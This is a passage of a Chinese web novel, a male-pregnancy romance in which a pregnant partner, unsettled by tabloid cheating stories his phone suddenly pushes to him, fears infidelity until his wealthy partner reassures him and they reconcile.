将人放到床上躺好盖上被子,林庭安下床关了灯,去书房处理完今天的工作才重新回到卧室。 黑暗里,他握住沈茁的柔软温热的手,心中莫名百感交集。 想来也怪,沈茁其实并不是他喜欢的长相。 审美使然,林庭安不喜欢太过纤弱的身材和没有攻击力的性格。 沈茁却仿佛是那个唯一的例外,每当看到他湿润的眼睛,林庭安内心深处的保护欲就会被激发出来。 那是一种最原始的庇佑欲,是一个男人对伴侣和幼崽的强烈占有感。 林庭安是信奉社会达尔文主义的,他天生处于食物链的顶端,周身自带一种站在高处俯瞰众生的气质。 正因此,他对伴侣的归属意识就更强。 沈茁和他肚子里的孩子,都是他的所有物。 林庭安理应给他们提供优质的生活和优渥的物质条件。 这才一个一男人该做的,不是吗? 身边传来一阵窸窸窣窣的声音,睡得不怎么安稳的沈茁踢掉了身上的被子。 迷迷糊糊睁开眼,找到林庭安后朝他的方向抱了过去。 “老公,睡觉。” 沈茁的声音软软的,林庭安听在耳朵里,感觉整颗心都融化了。 “好,”他抚摸沈茁细软的发丝,大手一挥将人揽了过来,“睡吧。” “老公,你明天起床的时候叫我,”沈茁含混不清地说,“我想要跟你接吻。” 林庭安愣了下,他从来没听这小孩如此直白地表达过自己的情感。 抓住沈茁的耳垂轻搓两下,林庭安低头在他耳边小声耳语:“我会吻醒你的。” 沈茁没听清林庭安在说什么,只觉得自己耳朵很痒。 他闭着眼睛笑嘻嘻推开男人的脸,偏过头又沉沉睡了过去。 第二天,沈茁真的是被吻醒的。 他做了个梦,梦到自己掉进了海里,鼻腔灌满了咸湿的海水。 岸边不断传来四五岁孩童的叫喊声,稚嫩又尖锐的声音不停喊着:“爸爸,爸爸,爸爸!” 沈茁拼命挣扎,气息全部压在胸腔。 耳边的一切声响都仿佛按下了降速键,只有沉重的呼吸声在不断放大。 他强忍着睁开眼睛,他的孩子还在岸上等他,他不能就这样死了。 那么小的孩子,不能没有爸爸,不能没有爸爸,不能没有爸爸! 可怕的是,沈茁越挣扎反而沉得越快。 他被迫张开嘴,海水顺着口腔倒灌进肠胃,伴随着窒息感一起到来的是深不见底的绝望。 就在窒息到达顶点时,沈茁突然睁开眼,只见面前是一张被放大的帅脸。 “醒了?” 林庭安失笑,低头在他脸上咬了一下。 “你……”沈茁气极了,抬手就往林庭安背上招呼了一下,“你做什么,闷死我了!” “不是你说要跟我接吻的吗?” 林庭安被打了也不恼,反而乐呵呵地又在沈茁唇上啄了几下。 “好了,我不闹你,现在还早你接着睡吧。” 林庭安坐在床边,重新帮沈茁盖好被子,“昨晚你深夜呓语,我分不清你是真的要起来接吻,还是只是梦话。” “怕你怪我没叫醒你才出此下策,现在亲也亲了,不过几分钟的时间,你再睡个回笼觉还来得及。” 语毕,林庭安起身要走。 沈茁被他这几句话说得晕乎乎的,像喝完了一整杯特调鸡尾酒,只觉整个人都泡在了微醺的气氛里。 林庭安没开窍时硬冷得比山腰上的石雕还甚,现在开了窍得了乐趣倒是情话不断。 苦就苦了沈茁,他根本不记得自己昨晚说了什么。 好端端睡着被吻醒了心里难免窝火,可一听林庭安这么说,他这火就一点也发不起来了。 “你别走,”沈茁连忙下床,抱住林庭安的胳膊,“我送你出门。” 林庭安见他此时已经完全清醒,便没有推脱,反牵住沈茁的手,两人一起走到了门口。 等电梯的间隙,沈茁不舍地抱住林庭安精装的腰身,下巴抵在男人的胸口,仰头沉默地看着他。 “想我的话就给我打电话,或者发视频发语音都可以。” 林庭安撩开沈茁额前的发丝,在他脑门上落个了吻,“你跟宝宝在家里乖乖的,回来给你们带好吃的。” “我想吃柠檬虾滑和麻辣藕片,”沈茁闷闷不乐地说,“还想吃香辣猪肉铺。” “好,都给你买。” 林庭安一一应下,上了电梯他叮嘱沈茁:“窗户别开太长时间,小心着凉。” “平板里给你下了几个游戏,无聊的时候可以玩,电视上各个app的会员都有,你想看什么就看,家里书房最外面的书架上有几个绘本,你实在无聊可以去看看。” “知道了。” 听着林庭安老妈子一样的嘱咐,沈茁更舍不得他走了。 他看着电梯门缓缓合上,在最后一条缝隙即将关闭时喊了句:“我等你回来。” 回应他的是哐的一声关门声。 送走了人,沈茁早已睡意全无。 他百无聊赖地躺在沙发上刷手机,电视被随手调到了一个频道充当背景音。 沈茁的游戏瘾来得快去得也快,才几天他就觉得之前玩的那些游戏没意思了。 现在躺着也主要是刷一些没营养的短视频,或者看看小说打发时间。 也不知道怎么的,今天这手机越看越不对劲。 第一条推文:《江氏八十老总风流债:背后竟有几十情人》 第二条推文:《秋风萧瑟,京都钻石王老五密会情人,更涩涩!》 第三条推文:《国足又败,网友喊话:让汪家十二个私生子组队进军足协》 第四条推文:《原配当街暴打小三,背后男人竟是xx公司董事长》 第五条推文:《男人有钱就变坏,点击即看郭家二奶成长史》 沈茁:…… 他这是误入了什么商业文娱频道吗? 第63章 虽然推送的图文有点奇怪, 但因为标题太过炸裂,沈茁莫名生出了些兴趣。 他点开第一条推文,讲的是劭堂江家老总江华洋十几年前靠做房地产生意赚得盆满钵满。 现如今成也萧何败也萧何,前些年把手里的现金流都投进了劭堂南边城郊的一块地做房产生意。 没成想刚投进去没几个月房价急速下滑, 房地产泡沫破裂, 连带着建筑行业都成了夕阳产业。 前些日子这位老总的公司彻底宣告破产, 隐瞒多年的花边新闻紧跟着就被爆了出来。 这位姓江的老总竟然在不到二十年的时间里养了几十位情人。 数量最多的时候,他同时跟十几个情人保持亲密联系, 让一众吃瓜群众瞠目结舌。 这篇新闻报道描写得尤为详细, 连老总跟情人密会的内容都写了出来。 甚至还特别指出, 这几十位情人里不仅有女人也有男人。 事情之所以会爆出来,也是他怀孕妻子的手笔。 沈茁吃瓜吃得津津有味,不禁感叹果然男人有钱就变坏。 叹息着摇摇头,他退出帖子点开了下一条推文。 这条推文讲的是京都一个姓王的老总, 妻子肚子正揣着他的第三个孩子, 他却一连三个月宿在跟三个情人共同的家里,四人你侬我侬好不快活。 沈茁不敢相信自己的眼睛, 反复确认看到的文字, 生怕自己看错了。 四……四个一起? 三个情人不仅住在一起, 还有一个是男的?! 沈茁从沙发上坐起来,拿起果盘里的蓝莓一连吃了好几颗,才压下心底的震惊。 这可比他在会所看到的炸裂多了。 毕竟在会所他只能在外面做接待,客人在屋里干什么他就不知道了。 因为保密性强, 合同里有规定员工不能私下讨论客人的隐私。 沈茁从来没跟同事聊过八卦,只一门心思做自己的工作,不知错过了多少豪门秘辛。 他兴致勃勃点开了第三条推文,说是南方有个小老板, 姓汪,今年正值壮年。 原配是当地一个大家族的独女,汪老板背靠妻子本家短短三年就成了当地新贵。 不想,现在汪老板成了大老板,公司刚上市没几个月就被原配发现他在过去几年里搞出了十二个私生子。 第一个私生子是跟一个酒吧陪酒生的,那时候汪老板的事业还没发展起来,就瞒着妻子生下了一个女儿。 第二个私生子是跟一个车模生的,那时候汪老板的小公司刚成立,正是事业发展的初期。 第三个是跟一个十八线小演员生的,第四个是家里的表妹,第五个…… 现在汪老板的原配怀孕了,却被十二个私生子的妈视为眼中钉,联手制造意外让原配流了产。 并且因为伤势严重,原配终身不能再受孕。 看到这儿,沈茁下意识吞咽口水,他关掉手机,抚上自己的肚子。 宝宝,爸爸不是故意要在怀你的时候看这些的,我也不知道这些新闻会这么…… 沈茁看了几条才觉出味来,这几个新闻都不怎么样,至少对于他来说都不是什么能放松消遣的八卦新闻。 因为他发现这几条新闻都有一个共性,那就是这些男人一直在外面偷腥不说,妻子怀孕了也不知道收敛,甚至更加过分。 沈茁孕期的情绪本来就不稳定,看了这些新闻自动代入了原配妻子的视角,暗暗开始生闷气。 他不想再看这些了,于是摆弄手机想看点别的。 也不知怎么搞得,手机就像进了病毒一样,好几个娱乐软件开始推送类似的新闻,怎么也恢复不到正常的页面。 沈茁这才意识到不对,他借了王秋梅的手机来看,发现只有自己的手机是不正常的。 坐在沙发上搞了半天,还是于事无补。 沈茁气得把手机往沙发上一摔,直接跑到书房看绘本去了。 看了一会儿果不其然成功把自己给哄睡了。 窗边的真皮沙发上扑了软垫,沈茁仰面躺在双面,双腿搭在沙发把手上,悬在空中。 色彩鲜艳的绘本掉落在毛绒地毯上,窗外射进来的阳光照在他光裸的双脚上,状似无暇的白玉。 沈茁穿了个桑蚕丝的长袖睡裙,睡衣面料光滑亲肤舒适,唯一的缺点是贴在皮肤上有些发凉。 所以他另外搭了个薄毯子在身上,完全盖住了自己的肚子。 睡梦里,沈茁面前飞了个蝴蝶。 他伸手去抓,身体猛地向外一翻,眼看就要从沙发上跌落。 “沈先生,”张垣眼疾手快,立刻抓住沈茁的胳膊把人拽了起来,“沈先生,您没事吧?” 沈茁瞬间惊醒,他顺着张垣的力道坐起来,心率逐渐飙升。 双手紧抓着身上的毯子,沈茁边呼气边对张垣说:“谢谢。” “您客气了。”张垣直起身笑着说。 他的目光不经意扫过沈茁凸起的肚子,面色猛地一红,赶忙移开目光挠了挠头不敢说话了。 沈茁缓了一会才惊觉家里突然出现了个陌生人,他看着张垣问:“请问你是……” “嗷,”张垣惊了一下,回道:“我是林董的助理,您之前在医院的时候还见过我呢,那时候就是我给您陪的床。” “是你!”沈茁眼睛蓦然一亮,“我想起来了,你是那天那个小助手。” “是我,”张垣干笑几声,主动解释:“林董突然有事,得晚半个小时才能回来,所以我就先过来了。” “之前林董派我去搜罗些珠宝,我找了几个月跑遍了京都的拍卖行,又亲自去国外采购也才收集了很少一部分。” “林董让我先拿过来给您过过眼,”张垣面露难色,“能否劳请您跟我去另一个房间看一眼?” 珠宝? 沈茁有一瞬的恍惚,下一秒他突然想到林庭安之前曾说过,不是不许他做设计,只是不要再用染色的玻璃珠。 林庭安这话才说完没多久,今天就有人送了天然珠宝过来。 难道他早在几个月前就开始准备了? 沈茁纤长的睫毛在空中抖了抖,心里最柔软的地方猛地开始颤动。 抓着被子的手不断收紧,他咽下几乎要压制不住的激动,托着肚子站了起来,“当然可以,走吧。” 张垣扶着沈茁走到手工室,带着人走到桌前。 依次给沈茁介绍:“您看左边放的几颗都是五克拉以上的宝石,中间是天然高品水晶,右边是雕刻处理过的玉石。” “您看还满意吗?”张垣试探着问,“如果不满意的话我再去找。” 沈茁走上前,拿起了其中一块绿宝石。 灯光下,钻石周围散发着淡淡的荧光。 “这颗可是我特地去国外矿石产地淘的,有个泰国的珠宝商也看中这块石料,我俩差点没打起来。” 张垣一把鼻涕一把泪地说,“沈先生,你看这个还有这个,都是一块石料产出来的,抛光加工之后我让人做成了不同的形状。” “我也不知道您是喜欢圆珠子还是雕佛牌,或者是喜欢貔貅还是九尾狐,干脆让人都加工了出来。” “沈先生,”张垣苦着一张脸说,“您看看要是不合适,我再去国外寻。” 最后这半句话沈茁甚至听出了些哭腔,他放下手里的东西,连连摆手,“我满意的,这已经很好了,辛苦你了。” “真的吗?” 张垣突然抓住沈茁的双手,开始倒苦水,“您是不知道我在非洲那个矿山上找原材料,被当地的原住民追着满山跑,差点没坠崖!” “这好料子要是不亲自去蹲一采出来就被抢光了,我可是足足守了一个月才找出这么多料子。” “啊,”沈茁没想到过程竟然这么艰辛,他拍拍张垣的手背,“你放心我都满意的,不会再让你去了。” “您真好,您可真是个大好人啊!”张垣哀嚎道。 “怎么不说我给你提了辆价值百万的豪车,还额外付了你几十万的加班费呢?” 林庭安倚在门口,嗓音低沉,“张垣,我是叫你来介绍珠宝的,不是叫你来诉苦的。” “知……知道了,”张垣咽了咽口水,后背瞬间涌出了虚汗,“那我就先回去了,您大人不记小人过别把这事放在心上。” 话音未落,他就豹子一样窜了出去,看得沈茁目瞪口呆。 “喜欢吗?” 林庭安走过去在后面拥住沈茁,随意从桌面上拿了块玉石佛牌在手里把玩。 “这块成色不错,你看看喜不喜欢,喜欢的话就随身带着。” “还是不要了,”沈茁摇摇头,“这个太贵重了,我怕到时候一个弯腰再给磕碎了。” “碎了就再买一个,”林庭安低头亲吻沈茁的发顶,“不是说玉碎是在主人挡灾,按照这个说辞玉碎了反而是到件好事。” 不等沈茁开口拒绝,林庭安就在一旁的小盒子里挑了根黑色的细绳穿在了佛牌吊坠上。 他解开绳子后面的保险盒卡扣,将佛牌挂在了沈茁的脖子上。 微微发凉的玉石贴在胸前,冰得沈茁心口发热。 这块佛牌很大,帝王绿的颜色,一看就价值不菲。 沈茁抬手握住佛牌,感受着掌心处细微的凉意,一个转身扑进了林庭安怀里。 “谢谢,”他闷闷地说,“我会好好保护它的,不会碰碎的。” “这些都是拿来给你玩的,说什么谢不谢的,”林庭安失笑,“东西归你,你想怎么处理都行。” “行了,别看这些了,外面给你买了吃的,出来吃。” “是我早上说的那些吗?” 沈茁一听有好吃的,眼睛唰的亮了,不等林庭安回话就蹦蹦跶跶跑到了客厅。 林庭安跟在后面慢悠悠走出去,就见他正坐在沙发上,撕开了一袋猪肉铺大快朵颐。 “还想吃什么,明天给你买。” 走到沈茁身边坐下,林庭安下意识开始抚摸他的肚子,“想不想吃酸梅,或者话梅山楂丸?” “都不想,”沈茁边咀嚼嘴里的猪肉铺边摇头,“我想吃辣子鸡,水煮牛肉和蒜香辣鸡爪。” “想吃辣的?” 林庭安在沈茁腰间揉了一把,心想,看来传说中的酸儿辣女也不怎么准。 “那明天中午让厨师把白灼虾换成辣子鸡,玉米排骨换成水煮牛肉。” “好!” 沈茁咽下嘴里的东西,喜滋滋地抱住林庭安的手臂,在他健壮的手臂上蹭了蹭。 动作间,一股刺鼻的香味飘进了沈茁鼻子里。 他猛地一顿,脑中瞬间闪过上午在新闻报道里看到的一句话:江华洋的妻子每天闻着不同女人混在一起的香水味,不知是何心情。 脸上的笑容转瞬即逝,沈茁抓着林庭安的肩膀反复闻他身上的味道。 好一会儿才停下动作,用湿漉漉的小狗眼看着林庭安,“你今天身上很臭,我不喜欢。” “很臭吗?” 林庭安抬起胳膊放在鼻下嗅了嗅,并没有什么不好闻的味道。 他看着沈茁撅得老高,都能挂油瓶的嘴,顷刻想明白了什么。 笑着把人揽过来,林庭安揉开沈茁紧绷的嘴唇,俯身咬了下去。 两人接了一个三分钟的热吻,完事后他们红着脸气喘吁吁地靠在一起。 “我今天中午有个饭局,下午又约了个老总去打高尔夫,估计是那位老总女伴身上的香水味。” “整天都在想什么?”林庭安用力揉捏一下沈茁的鼻子,敲打道:“不许瞎想,不许怀疑来怀疑去的。” “知道了,”沈茁拍掉他的手,捂住了自己发疼的鼻尖,“别再捏我的鼻子了,红得像小丑。” 林庭安摸了摸鼻子,笑而不语。 他尤其喜欢在这样的小事上捉弄沈茁,有时候自己都觉得自己像是有施虐倾向。 喜欢把沈茁的脸揉红,看他瞪得溜圆的眼睛。 喜欢捏沈茁的鼻子,看他气得转过去不理自己的样子。 更喜欢在揉完沈茁的肚子后抓一下他的腰,看他因为吃痛偷偷按压自己腰部的模样。 林庭安靠在沙发上叹喟,他从前怎么不知道自己还有这种恶趣味呢? “老公,读故事。” 吃完晚饭,沈茁从书房拿了本书,塞进林庭安怀里,“胎教,今天给宝宝读这个。” “好,那今天就给大宝宝和小宝宝讲这个,”林庭安顿了下,看清书名后拉长声音说:“就讲这个《从一到无穷大》?” 沈茁嘿嘿笑了几声,“对,就读这个,有助于提高宝宝的数学思维。” 而且绝对催眠,他在心里补充。 沈茁的孕期怪癖之一,就是喜欢听林庭安读书充当背景音。 有这个人型播报机,他躺在床上玩平板看手机都更有劲了。 林庭安自然知道他有这个癖好,每天晚上都任劳任怨给他充当朗诵苦工。 不过这个苦工只需要读半个小时,耳边就会传来细小的胡噜声。 今晚林庭安多读了半个小时,约莫沈茁快睡着了,他才合上书关了夜灯。 怕沈茁刚睡着一碰就醒,他翻了个身背对着沈茁闭上了眼。 两人背靠背躺在床上,盖得又是同一个被子,中间不出意外挣开个小口子。 凉飕飕的冷气顺着空隙钻进被子里,沈茁突然睁开眼,直勾勾盯着月影下微微摇曳的窗帘。 「汪老板的原配朱小姐爆料,每晚丈夫都背对着自己,除了怀孕那晚两人已经几月未同房。」 沈茁眨巴眨巴眼睛,酸涩自心底蔓延开。 他鼻尖一酸,下一秒眼泪就充盈在了眼眶。 以前林庭安都是要抱着他睡觉的,还说秋天冷抱着睡才暖和。 今天夜里这么冷,为什么他反而不抱了呢? 沈茁想,是自己让他每天读东西他厌倦了吗? 还是之前那些都是装出来的,睡着之后他连抱都不愿意抱自己。 沈茁眼中流露出一瞬的惊恐,他害怕林庭安不喜欢他,害怕他去找别人。 他后悔了,沈茁也不知道该后悔些什么,反正就是后悔了。 白天的时候他不该推脱说怕玉牌磕碎的,林庭安会不会多想,觉得是他不喜欢那个佛牌? 其实不是的,沈茁偷偷抹掉流下的眼泪,其实是因为他从来没戴过这么贵重的东西,真的怕弄坏了。 林庭安会不会觉得他穷酸,觉得他不知好歹? 啪嗒又是一滴泪,沈茁这次没抬手去擦,任由泪水浸湿了枕头。 他不应该吃那么多东西的,林庭安会不会觉得他自控力很低,暗地里埋怨他不替肚子里的孩子着想? 其实沈茁知道,所有人在意的都是他肚子里的宝宝。 大家期待着宝宝的降生,倾注过来的全部的爱,其实都是给宝宝连带着给他的。 那些关心和爱如果有箭头,指向的一定是他的肚子,而不是他自己。 这些也没什么所谓,毕竟就连沈茁自己的箭头指向的也是肚子里的宝宝。 但是……他还是希望林庭安能有哪怕一点点的箭头是指向他的。 沈茁不奢求能分得很多爱,他知道每个人的精力都是有限的。 他希望林庭安不是爱屋及乌地对他好,只要满分十分的关心里有一分是因为他本身而不是因为孩子,他就知足了。 眼泪怎么也止不住,比冬天姥爷用铜盆化开的雪水还要多。 回想过往,沈茁突然觉得他对不起很多人。 等生完孩子他要回姥爷家去看一看,把那个寒夜高中班主任塞给他的钱还回去。 北方的冬天只要一下了雪,就像下刀子般冷厉。 沈茁咽下黏糊糊的口水,想到自己的预产期大概就在小年夜前后。 他的孩子比他要幸运,出生在了这样喜庆的日子。 蜷缩成一小团,沈茁咬着被角抽泣,任由柔软的床垫将自己包裹住。 心仿佛被烙铁烧穿,黑漆漆的洞口正不断向外散发着诸多情绪。 林庭安就是在这时突然惊醒的。 他感觉身旁的位置在轻轻颤动,以为是沈茁半夜想上厕所在拍自己。 于是半睁开眼起身,大手一挥将人抱进了怀中,“走吧,我扶你去厕所。” 一秒,两秒,三秒,怀里的人纹丝不动,甚至没有说一句话。 林庭安惊觉耳边有连续不断的啜泣声,他瞬间清醒过来。 低头一看,就见沈茁糊了满面的泪水,正用委屈巴巴的眼神看着自己,那样子活像个被人遗弃在寒冬腊月的小狗。 “怎么了这是?” 林庭安心脏抽疼,他忙按开台灯,用衣袖擦掉沈茁脸上的眼泪。 “怎么突然哭了?谁欺负你了?” “呜呜呜呜,我……我的手机坏了。” 沈茁藤蔓一样缠在林庭安身上,死死攀着他的脖子,边哭边说:“我的手机坏了。” 没有多余的话,沈茁只是一只嘟囔:“我的手机坏了,我的手机坏了。” 他的手机坏了,心也跟着一起变得古怪。 患得患失,不能自已。 第64章 “手机怎么坏了?” 林庭安心疼坏了, 他拍着沈茁的背拿起枕边的手机,左看右看也没找出到底哪里坏了。 “这不是好好的吗?” “我给你看,”沈茁夺过林庭安手里的手机,点开了白天看的app, “你看这个……” 声音戛然而止, 沈茁看着手机屏幕上一如往常的页面, 连哭声都凝住了。 他擦掉脸上的眼泪,从林庭安身上坐起, 不断翻动着手机页面。 第一条推送是手机壁纸, 第二条是蛇结编织方法, 第三条是小猴子图解,第四条是小企鹅图解…… 沈茁抿着嘴唇飞快翻看了足足一分钟,很正常的页面,很正常的app。 但是现在对于他来说, 这种正常反而不正常。 他点开个人浏览记录, 试图找到白天看的几篇推文,却发现浏览记录只有几个, 都是他刚刚手忙脚乱点开的图文。 颓然地垂下手臂, 沈茁抬眼看向林庭安, 嘴一瘪作势又要哭出来。 林庭安静坐在一旁,见状急忙又把人搂进怀里,“诶呦,到底怎么了?” “这有什么好哭的, 坏了咱就修一修,修不好就买新的,至于大半夜哭成这样吗?” 沈茁一听林庭安这么说,眼泪涌得更快了。 “不是的, ”沈茁吸了吸鼻子,声音沉闷:“不是的!” “那是怎么了?”林庭安低头在沈茁脸上亲了两下,“你先别哭,好好说。” “我说什么你都信吗?”沈茁抽泣着问。 “当然,”林庭安笃定道,“你先说,到底是怎么了?” 沈茁沉默片刻,直到刚刚流下的水痕干在脸上,才开口说:“今天早上手机给我推了好几条推文,我就点开看了。” “那时候我的手机上都是那些商业大佬的八卦新闻,手机页面跟平时很不一样,我退出几次再看还是那样,但是王阿姨的手机就是正常的。” 沈茁说得很乱,就跟他的心一样乱。 “我不知道你能不能听懂,但是我真的没有骗人。” 林庭安揉捏着沈茁细嫩的脸,沉思片刻,噗嗤笑了出来,“就因为这个?” 他循循善诱:“那你说说,你都看到了什么推文?” 一提到这个沈茁立刻来了精神头,他猛地起身,绘声绘色道:“一个姓江的老总,竟然养了几十个情人!” 沈茁怒气冲冲,语速比跟朋友聊八卦还要快,“还有京都一个姓王的钻石王老五,在老婆怀孕的时候密会情人!”[1] “姓汪的小老板,把老婆娘家当做跳板,现在一跃成了大老板,却在老婆怀孕的时候搞出了十二个私生子,不仅如此还害得老婆流产进了医院。” “还有很多很多!” 林庭安:“……” 他一阵见血:“你是怕我出轨吗?” 沈茁被戳中了心事,手一松,只听啪嗒一声手机垂直掉在了床上。 他没说话,但略显心虚的表情已经说明了一切。 林庭安气笑了,他挑起沈茁的下巴,另一只手不轻不重在沈茁肚子上拍了下。 “我问你,你就是因为这个才哭的?” 沈茁摇摇头,咬着牙说:“不全是因为这个,还因为你晚上睡觉的时候没有抱我,我怕你讨厌我。” 他垂着头,那样子就像一个被教导主任训话的小学生。 “我不抱你是怕吵醒你,”林庭安耐着性子解释,“你都在乱联想些什么?” 在沈茁脸上捏了下,他叹息道:“不是说了有什么话不要憋在心里,你哪怕把我推醒指着鼻子质问我为什么不抱你,也好过像现在这样,生生把自己给憋哭。” “还有,你觉得我是那种会在你怀孕的时候出轨的人吗?” “几个月的相处,你难道对我的了解还仅仅只是停在表面吗?” “我在替你我的以后筹谋,替我们的孩子规划未来,你竟然还在怀疑我的真心吗?” “我每天想的是给你买什么才能哄你笑一下,想的是要处处顺着你,想的是你能不能感受到我炽热的感情,结果你却在怀疑我会不会出轨吗?” 林庭安一字一句地质问,他的声音不大也并不急促,却说出了种字字泣血的味道。 沈茁呆愣地看着林庭安的眼睛,刚想开口就听林庭安说:“沈茁,你告诉我,你心里究竟是怎么想的?” “我……我……” 沈茁支吾了半天也没说出个所以然来,他完全懵住了。 他没反应过来,怎么刚才还在哄自己的人,突然开始质问自己了呢? 而且听起来,好像一切都是他的错。 是他辜负了林庭安的真心,是他在林庭安做得没有任何错处的时候胡乱怀疑他。 这这这,沈茁蹙起眉头,这对吗? 可是这样听来好像确实是他的不对,如果林庭安莫名其妙看了几个商业新闻就怀疑他会出轨,那他也会生气的! “我……” “先不说别的,就说你这个手机推送,有可能是软件出了bug,把其中一个板块的文章都推到了你的主页。” 林庭安不给沈茁说话的机会,打断道:“如果以后再出现这种情况第一时间告诉我,我来处理。” “我……我知道了。”沈茁小声应道。 “那么手机的问题解决了,现在来处理一下你怀疑我会出轨的问题。” 林庭安正襟危坐,表情严肃,“这可不是小事,沈茁同学,你对我就这么不放心吗?我有哪一点没做好值得你这么怀疑我?” “我……” 沈茁刚吐出一个字就又被林庭安给打断了,“好了,你别说了。” “沈茁,我的心也是肉长的,”林庭安做出了一个制止的手势,“我虽比你年长,但也还不到三十岁。” “我爱护你、关心你,并不觉得自己做错了什么,我也学不来外面那些老总圆滑的一套,嘴上说得好听,背地里却因为孩子哭闹不想回家。” “我出去静一静,你自己好好想想吧。” 林庭安冷冷看着沈茁,扔下一句不清不楚的话就离开了房间。 沈茁脸上的眼泪已经完全干了,他感觉自己仿佛在短短几分钟的时间里坐了个过山车。 整个人一下子就从轨道顶端急速下滑到了最低点。 看着房门口那条细小的缝隙,沈茁心里只有一个想法,现在似乎该轮到他去哄人了。 在这个平平无奇的夜晚,他第一次把孩子爹给惹生气了。 只因为他无端的猜忌和莫名其妙的杞人忧天。 就算在家里也不是谁哭谁有理的,沈茁想,林庭安已经做到了一个伴侣能做到的最好,他不该这样怀疑他的。 叹了口气,沈茁扶着肚子下床,边打腹稿边推门走了出去。 * 书房里,林庭安将窗户开了个小缝,站在窗边点了根烟。 这是他第一次在家里抽烟。 林庭安的烟瘾不大,也只有在外应酬时会象征性地抽几口合作对象递过来的雪茄。 两指夹着烟蒂放在嘴边深吸一口,下一秒白雾升腾而起遮住了他冷厉的脸。 一根烟只抽到了一半,林庭安就按灭在了摆设似的烟灰缸里。 他端起桌上的茶水浇在上面,微微发亮的火星瞬间变成一缕青烟,湮灭在了水中。 随手从书架上拿了本书,林庭安坐在桌前假装翻看起来。 手上的动作像模像样,实际上思绪早就飘到了九霄云外。 他知道沈茁孕期爱想东想西,也知道这是怀孕的正常现象。 但他属实想不到沈茁竟然会害怕他在孕期出轨。 林庭安盯着书上的一长串文字,眼神渐暗。 如果再不采取措施,他真怕哪天沈茁会臆想出更出格的事情来。 说不定这小孩还会怀疑他在外面有私生子。 烦躁地翻了个页,林庭安心累地吐出一口浊气。 几分钟过去了,沈茁还没过来。 他不禁开始担心,是不是刚才太凶了把人吓着了? 这小孩不会还躲在卧室偷哭吧? 秋末的夜晚寒似初冬,凉风顺着半开的窗户扑进屋里,吹走了尼古丁残留的味道。 书翻到第三十页时,房门口传来了动静。 林庭安耳朵微动,勾起了嘴角。 很快门把手转动的声音就响了起来,他立刻收起神色,表情严肃得像是从来没笑过。 沈茁这通腹稿打了将近十几分钟,他反复在心里念叨:“老公对不起,都是孕激素搞的鬼,我其实没有怀疑你的。” 推开门走进书房,入目便是男人坐在等下看书的场景。 屋内流动着丝丝冷气,林庭安披了件西装外套在身上,灯影下周身都蒙上的寂寥之色。 沈茁关上房门,蹑手蹑脚地走到男人身边。 他没立刻开口道歉,先是抱住林庭安的胳膊,在他脸上轻柔地亲了一下。 林庭安身形一震,很快镇定下来,依旧默不作声翻看手里的书。 沈茁吧唧两下,在林庭安耳上、脖颈处各亲了一口。 见没有效果,他绕到另一边小猫似的用脑袋磨蹭林庭安的手臂。 然后半蹲下身穿过林庭安搭在桌上的胳膊,一屁股坐在了男人怀里。 顺势勾住他的脖子,沈茁仰头轻咬林庭安的耳朵,边咬边反复移动屁股,颇有种不惹出火来不罢休的感觉。 林庭安硬生生被他磨。出了反。应,拿书的手不断收紧,手背上的青筋瞬间暴起。 沈茁小兽似的哼唧了两声,见林庭安还是没反应,便埋进他怀里不说话了。 越是深夜,室外的寒气就越重。 凝重的寒流回荡在屋里,沈茁身上睡衣单薄,没一会就打了个喷嚏。 这下林庭安可坐不住了,他脱下肩上的西装将沈茁完全围住,单手抱着人去关了窗户,才重新坐回到了桌前。 沈茁紧紧攥着深黑色的西装外套,感受到体温在逐渐回暖。 他暗自窃喜,林庭安还是关心自己的。 于是大胆地掀开林庭安的衣服,小手摸索着探了进去。 就是现在! 沈茁又在心里默念了一遍:“老公对不起,都是孕激素搞的鬼,我其实没有怀疑你的。” 他鼓足勇气亲吻林庭安的嘴唇,待唇瓣分开后,喘着气说:“孕激素对不起,都是老公搞的鬼,我其实……” 说到一半,沈茁惊觉好像有哪里不对。 但说出去的话就像泼出去的水,他想收也收不回来了。 “老公对不起……” 沈茁欲哭无泪,只能装作什么都没发生,厚着脸皮小声说了遍正确的:“都是孕激素搞的鬼,我其实没有怀疑你的。” 林庭安瞬间被沈茁的可爱模样萌化了,他实在装不下去,低头按住沈茁的脑袋深深吻了下去。 两道呼吸声交织在一起,桌上被拉来充当NPC的精装书猛地合上,像是在为这段热烈的亲吻鼓掌。 几分钟后,二人红肿的唇瓣才不舍地分开。 林庭安抚摸沈茁泛红的眼尾,故意笑他:“我哪里对不起的你的孕激素了?” 沈茁闹了个脸红,嗔怪道:“我只是口误了而已,不要笑话我。” “好,不笑话你,”林庭安收起笑容,板着脸问:“那我问你,你想明白了吗?” “我……我想明白了呀,”沈茁不明所以,“我不是都道歉了吗?” “我不是为了听你这一句道歉才发脾气的。” 林庭安惩罚性地点了下沈茁的鼻子,“重新想。” 沈茁郁闷至极,他到底哪里想错了? “我不应该仗着怀孕就乱发脾气?” “不对。” “我不应该在深夜偷偷哭,还把你吵醒了?” “错,大错特错。” “我……我不应该,不应该怀疑你,不应该在事情还没有发生之前就做不好的预设。” “对了一半。” “我实在想不出来了,”沈茁开始耍赖,他看着自己的肚子对里面的宝宝说:“宝宝,爸爸真的猜不出来了。” “你爹真的很坏,深更半夜还让我猜谜语。” “宝宝,你爸爸也够坏的,”林庭安学着沈茁的样子,对着他的肚子说:“深更半夜竟然因为害怕你爹会养情人,把自己给气哭了。” “你……你怎么能这么说呢!” 沈茁满脸涨红,抬手就在林庭安胸前砸了一拳。 这一下他用了十足的力气,把自己的手都给震疼了。 林庭安却像没有痛感一样,不仅面色如常,就连睫毛都没有丝毫抖动。 嬉笑过后,他抓住沈茁的手,将话题拉回了正轨:“我是不是从来没说过,我其实不是个热心的人。” “沈茁,”林庭安郑重地唤了声沈茁的名字,“我说过我只会有你肚子里这一个孩子,说到做到。” “你可以在怀孕的时候发脾气,哪怕没有怀孕你也有发脾气的权利。” 他轻柔的抚摸沈茁的发顶,言语真挚:“我不是不许你发脾气,也不是因为你深夜哭泣觉得厌烦。” “孕妇总是思虑过多,会因为一点点细微的事情而触动情绪,这些都没什么。” “只是你千不该万不该,不应该做出我会出轨这个假设。” 林庭安将手掌贴在沈茁凸起的小腹上,隔着轻如蝉翼的衣料,两人都感受到了来自对方的温度。 “我错了,我以后都不会了,”沈茁满心愧疚,“对不起。” “我只会有宝宝这一个孩子,也只会有你这一个伴侣,不会有私生子,不会有情人,更不会朝三暮四。” “沈茁,你记住了,”林庭安毫无保留地倾吐出内心深处最真实的想法,“你可以怀疑任何,唯独不能怀疑我的心。” 